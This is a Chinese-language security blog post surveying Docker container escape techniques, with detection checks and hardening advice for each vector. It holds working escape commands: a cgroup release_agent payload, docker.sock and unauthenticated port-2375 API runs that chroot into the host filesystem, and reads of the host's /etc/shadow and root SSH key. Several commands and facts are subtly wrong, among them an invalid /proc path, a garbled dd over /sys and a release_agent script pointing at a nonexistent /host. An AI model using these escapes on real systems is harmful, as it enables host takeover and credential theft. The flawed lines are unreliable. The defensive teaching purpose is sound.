Docker 容器逃逸实战:配置错误与内核 0day

Docker 容器逃逸实战:配置错误与内核 0day

安全从业者对常见逃逸向量与防御措施的梳理


95% 的 Docker 逃逸不是靠 0day,是靠一个配置错误。--privileged、挂载 /var/run/docker.sock--pid=host——这些参数任何一个被滥用,容器隔离就成了纸糊的。

本文按攻击向量分类整理常见逃逸手法,每个方法附带检测手段防御建议


一、配置不当导致的逃逸

这类逃逸不需要内核 0day,只需要运维人员在启动容器时给了过多的权限或挂载了敏感的宿主机路径——实操中最常见。

1.1 特权模式(–privileged)

原理: --privileged 容器拥有几乎所有的 capabilities,且可以访问宿主机全部设备。配合 cgroup release_agentdevice 挂载即可轻松逃逸。

标准逃逸 payload(cgroup release_agent):

# 在容器内
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
HOST_PATH=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /proc/mounts | tail -1`
echo "$HOST_PATH/pwn.sh" > /tmp/cgrp/release_agent

# 写入逃逸脚本
cat > /pwn.sh << 'EOF'
#!/bin/bash
chroot /host /bin/bash -c "echo 逃逸成功 > /root/escaped"
EOF
chmod +x /pwn.sh

# 触发
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

检测:

# 容器内检查是否特权模式
cat /proc/1/status | grep -i cap
# CapEff: 0000003fffffffff 表示所有 capability 均启用
ip link add dummy0 type dummy  # 能否操作网络设备

防御: 永远不要在生产使用 --privileged。对特殊场景用 --cap-add 按需授权。


1.2 挂载 docker.sock

原理: 将宿主机的 /var/run/docker.sock 挂载进容器,容器内的进程就可以通过 Docker API 操控宿主机 Docker 守护进程,创建新的特权容器或挂载宿主机的根文件系统。

payload:

# 容器内安装 docker CLI 或直接 curl Docker API
docker -H unix:///var/run/docker.sock run -it -v /:/host alpine chroot /host /bin/sh

检测:

ls -la /var/run/docker.sock
# 或者
find / -name docker.sock 2>/dev/null

防御: 不挂载 docker.sock。可改用 Docker-in-Docker 套接字代理或 exposed API over TLS。


1.3 挂载宿主机根目录

原理: -v /:/host 后容器的 /host 目录就是宿主机完整的根文件系统。容器内 root 直接修改 /host 下的文件就等同于操作宿主机。

逃逸:

chroot /host /bin/bash
# 此时已获得宿主机 shell

检测:

findmnt | grep -E '/host|/mnt|/root' 

防御: 审查所有 -v 卷挂载,不要挂载整个宿主机根目录。


1.4 Capabilities 配置不当

Docker 默认丢弃了大部分高危 capability,但如果通过 --cap-add 添加了关键项,逃逸空间大幅增加。

Capability 逃逸潜力
CAP_SYS_ADMIN 理论上等同特权模式,可 mount、nsenter
CAP_SYS_PTRACE 可 ptrace 宿主机进程注入 shellcode
CAP_DAC_OVERRIDE 绕过文件权限检查,读写宿主机文件(配合其他漏洞)
CAP_NET_ADMIN 操作网络命名空间,ip link、iptables
CAP_SYS_MODULE 加载内核模块(直接拿 rootkit)

检测:

capsh --print
# 或者
cat /proc/1/status | grep CapEff

防御: 遵循最小权限原则,只添加业务需要的 capability。


1.5 共享宿主机命名空间

--pid=host--net=host--ipc=host 分别共享 PID、网络、IPC 命名空间。

  • --pid=host:容器内可见宿主机全部进程,可 nsenter --target 1 --mount --uts --ipc --pid /bin/bash 逃逸
  • --net=host:容器共享宿主机网络栈,可监听宿主机所有端口、劫持网络流量

检测:

# PID 命名空间
cat /proc/1/self/status | grep -i pid
# 如果 PID namespace 与其他进程不连续,说明是 host PID namespace

# 网络命名空间
ip a

防御: 避免共享命名空间。--pid=host 配合 CAP_SYS_PTRACE 基本等同于 root。


二、内核漏洞逃逸

以下漏洞均需要内核存在对应 CVE,属于 0day/Nday 利用。生产环境及时打补丁即可缓解。

2.1 CVE-2019-5736 — runc 容器逃逸

影响: runc ≤ 1.0-rc6
类型: 文件描述符与 /proc/self/exe 竞态
利用方式: 攻击者覆盖宿主机 /usr/bin/runc(或 /usr/bin/docker-runc),下次调度时触发恶意代码
防御: 升级 Docker 到 ≥ 18.09.2

2.2 CVE-2022-0492 — cgroup 逃逸

影响: Linux 内核(release_agent 未正确检查 capabilities)
原理: 非特权容器利用 cgroup v1 release_agent 触发任意命令执行
防御: 内核升级 + 限制 cgroup 挂载

2.3 Dirty Pipe(CVE-2022-0847)

影响: Linux 5.8 ~ 5.16
原理: 内核 pipe 实现中允许非特权进程覆写任意只读文件中页缓存
防御: 升级内核到 ≥ 5.16.11 / 5.15.25 / 5.10.102

2.4 Dirty COW(CVE-2016-5195)

影响: Linux 2.6.22 ~ 4.8
原理: 写时复制(COW)竞争条件导致本地提权
防御: 升级内核到 ≥ 4.8.0


三、cgroup 逃逸(深入)

3.1 release_agent + notify_on_release

前面在特权模式中已展示过。关键要点:

  1. 挂载 cgroup 控制组:mount -t cgroup -o rdma cgroup /mnt
  2. 创建子 cgroup 并设置 notify_on_release=1
  3. release_agent 指向自定义脚本路径
  4. 当该 cgroup 进程数为 0 时,内核以 root 权限执行该脚本

3.2 device cgroup 绕过

控制 cgroup 的 devices.list 可以限定容器能访问哪些设备。若配置遗漏了 /dev/sda 等块设备,容器内直接读写块设备可绕过文件系统权限:

dd if=/dev/sda of=/tmp/image bs=1M count=1
debugfs /tmp/image  # 查看宿主机文件

防御: cgroup v2 更严格;cgroup v1 需配合 seccomp 限制 mount 和相关系统调用。


四、Docker API 与 Registry 攻击面

4.1 Docker API 未授权访问

Docker 守护进程默认监听 /var/run/docker.sock(Unix socket)。如果额外暴露了 TCP 端口 2375(无 TLS),攻击者可直接远程操控 Docker:

docker -H tcp://target:2375 run -it -v /:/host alpine chroot /host /bin/sh

防御: 永远不要暴露 TCP 端口而不加 TLS。使用 dockerd --tlsverify 或防火墙限制来源 IP。

4.2 Docker Registry 镜像投毒

原理: 攻击者上传恶意镜像到公开 / 私有 Registry,其中包含宿主机关联脚本或后门
防御: 使用镜像签名(Docker Content Trust / Notary),只拉取受信来源


五、挂载型逃逸案例详解

5.1 挂载 /proc/1/root

即使容器没有挂载宿主机的根目录,如果 /proc/1/root 可读,仍然可以读取宿主机文件:

cat /proc/1/root/etc/shadow   # 读 shadow 文件
cat /proc/1/root/root/.ssh/id_rsa

防御: 使用 --security-opt no-new-privileges 并配合 --cap-drop=ALL 阻断此类探测。

5.2 挂载 /sys

# 挂载 /sys 后可以读取内核 kcore
dd if=/sys/devices/system/cpu/vulnerabilities/*  # 获取内核信息

六、检测与防御体系总览

主动检测

# 容器内一键自检脚本
echo "=== 检查特权模式 ==="
cat /proc/1/status | grep CapEff

echo "=== 检查挂载 ==="
mount | grep -E '(docker.sock|/proc/1/root|/host)'

echo "=== 检查系统调用限制 ==="
cat /proc/1/status | grep Seccomp

echo "=== 检查 capabilities ==="
capsh --print 2>/dev/null || cat /proc/1/status | grep Cap

echo "=== 检查内核版本 ==="
uname -a

echo "=== 检查 cgroup 可挂载性 ==="
mount -t cgroup none /tmp/cgrp 2>&1

推荐工具

工具 用途
Docker Bench Security CIS Benchmark 自动化检查
kube-bench Kubernetes CIS 基准检查
Falco 运行时异常行为检测
Trivy 镜像漏洞扫描
gVisor 二层沙箱,加固容器隔离

防御原则

  1. 最小权限 —— 不用 --privileged,不加多余的 --cap-add,用 --security-opt=no-new-privileges
  2. 只读根文件系统 —— --read-only,将日志 / 数据卷显式挂载
  3. seccomp + AppArmor/SELinux —— 默认配置已封印大量系统调用,不要轻易 --security-opt seccomp=unconfined
  4. 非 root 用户运行 —— USER nobody--user 1000:1000
  5. 内核更新 —— 大部分容器逃逸 CVE 本质上都是内核漏洞,及时打补丁
  6. Seccomp 白名单 —— 限制 mount、ptrace、nsenter 等危险系统调用
  7. 只读 procfs —— /proc 的某些子节点应 mask

七、总结

Docker 隔离不是虚拟机隔离——这是所有安全从业者必须接受的前提。内核共享意味着攻击面永远存在。

逃逸类型 防御优先级 可行性
特权模式 / docker.sock 最高 极高——配置错误即可利用
Capabilities 滥用 高——需要特定能力
内核 0day 低——需要未修补漏洞
cgroup 绕过 中——依赖内核版本
镜像投毒 中——需要攻破 Registry

对于生产环境,Docker Bench Security + Falco + 定期内核更新这三件套可以拦下 95% 以上的逃逸攻击。剩下的 5% 属于 0day,应通过纵深防御(gVisor/Kata Containers + 最小权限 + 网络隔离)来进一步降低风险。


本文发布于 nixegus.com。转载请注明出处。

评论